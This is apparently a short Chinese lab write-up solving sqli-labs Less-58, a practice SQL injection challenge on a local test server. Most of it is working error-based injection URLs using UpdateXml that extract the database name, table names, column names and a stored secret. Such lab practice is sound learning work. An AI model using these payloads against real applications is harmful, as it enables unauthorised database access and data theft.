sqli-labs less58 GET -Challenge -Double Query -5 queries allowed -Variation1 (GET型 挑战 双查询 只允许5次查询 (代

Posted 2020-10-22 superkrissv

单引号闭合成功，但是union select结果不对

http://192.168.136.128/sqli-labs-master/Less-58/?id=0‘ union select 1,2,3%23

id=‘0‘是不出结果的，那数据就不是从数据库取出的

http://192.168.136.128/sqli-labs-master/Less-58/?id=1‘

但是有mysql的报错

那就用报错取数据

http://192.168.136.128/sqli-labs-master/Less-58/?id=1‘ or UpdateXml(1,concat(0x7e,database(),0x7e),1)%23

http://192.168.136.128/sqli-labs-master/Less-58/?id=1‘ or UpdateXml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=‘challenges‘),0x7e),1)%23

http://192.168.136.128/sqli-labs-master/Less-58/index.php?id=1‘ or UpdateXml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=‘challenges‘ and table_name=‘SU6MJHL7WA‘),0x7e),1)%23

http://192.168.136.128/sqli-labs-master/Less-58/index.php?id=1‘ or UpdateXml(1,concat(0x7e,(select secret_C3H8 from SU6MJHL7WA limit 0,1),0x7e),1)%23

 完成